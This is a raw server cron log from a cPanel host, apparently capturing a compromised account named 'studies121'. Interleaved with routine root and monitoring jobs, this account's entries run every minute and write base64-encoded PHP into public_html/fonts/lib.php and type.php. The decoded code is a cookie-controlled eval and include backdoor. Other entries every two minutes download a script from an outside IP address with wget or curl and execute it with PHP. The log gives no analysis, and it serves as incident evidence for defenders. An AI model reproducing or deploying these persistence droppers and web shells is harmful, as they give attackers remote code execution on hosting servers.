Sep  6 03:48:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7131]: finished logrotate
Sep  6 03:48:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7081]: starting man-db.cron
Sep  6 03:48:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[7143]: finished man-db.cron
Sep  6 03:48:03 ip-184-168-122-23 anacron[1840]: Job `cron.daily' terminated
Sep  6 03:48:03 ip-184-168-122-23 anacron[1840]: Normal exit (1 job run)
Sep  6 03:49:01 ip-184-168-122-23 CROND[7268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:49:01 ip-184-168-122-23 CROND[7269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:49:01 ip-184-168-122-23 CROND[7270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:49:01 ip-184-168-122-23 CROND[7271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:50:01 ip-184-168-122-23 CROND[7361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:50:01 ip-184-168-122-23 CROND[7363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:50:01 ip-184-168-122-23 CROND[7364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:50:01 ip-184-168-122-23 CROND[7368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:50:01 ip-184-168-122-23 CROND[7365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:50:01 ip-184-168-122-23 CROND[7367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:50:01 ip-184-168-122-23 CROND[7369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:50:01 ip-184-168-122-23 CROND[7366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:50:01 ip-184-168-122-23 CROND[7371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:51:01 ip-184-168-122-23 CROND[7473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:51:01 ip-184-168-122-23 CROND[7476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:51:01 ip-184-168-122-23 CROND[7474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:51:01 ip-184-168-122-23 CROND[7475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:52:01 ip-184-168-122-23 CROND[7561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:52:01 ip-184-168-122-23 CROND[7560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:52:01 ip-184-168-122-23 CROND[7562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:52:01 ip-184-168-122-23 CROND[7564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:52:01 ip-184-168-122-23 CROND[7563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:53:01 ip-184-168-122-23 CROND[7727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:53:01 ip-184-168-122-23 CROND[7726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:53:01 ip-184-168-122-23 CROND[7728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:53:01 ip-184-168-122-23 CROND[7729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:54:01 ip-184-168-122-23 CROND[7840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:54:01 ip-184-168-122-23 CROND[7842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:54:01 ip-184-168-122-23 CROND[7844]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:54:01 ip-184-168-122-23 CROND[7845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:54:01 ip-184-168-122-23 CROND[7843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:55:01 ip-184-168-122-23 CROND[7931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:55:01 ip-184-168-122-23 CROND[7936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:55:01 ip-184-168-122-23 CROND[7937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:55:01 ip-184-168-122-23 CROND[7940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:55:01 ip-184-168-122-23 CROND[7938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:55:01 ip-184-168-122-23 CROND[7939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:56:01 ip-184-168-122-23 CROND[8021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:56:01 ip-184-168-122-23 CROND[8020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:56:01 ip-184-168-122-23 CROND[8024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:56:01 ip-184-168-122-23 CROND[8025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:56:01 ip-184-168-122-23 CROND[8029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:57:01 ip-184-168-122-23 CROND[8104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:57:01 ip-184-168-122-23 CROND[8105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:57:01 ip-184-168-122-23 CROND[8107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:57:01 ip-184-168-122-23 CROND[8106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:58:01 ip-184-168-122-23 CROND[8190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:58:02 ip-184-168-122-23 CROND[8191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:58:02 ip-184-168-122-23 CROND[8193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:58:02 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:58:02 ip-184-168-122-23 CROND[8194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:59:01 ip-184-168-122-23 CROND[8275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:59:01 ip-184-168-122-23 CROND[8279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:59:01 ip-184-168-122-23 CROND[8280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:59:01 ip-184-168-122-23 CROND[8277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:00:02 ip-184-168-122-23 CROND[8455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8458]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8462]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:00:02 ip-184-168-122-23 CROND[8460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:00:02 ip-184-168-122-23 CROND[8464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
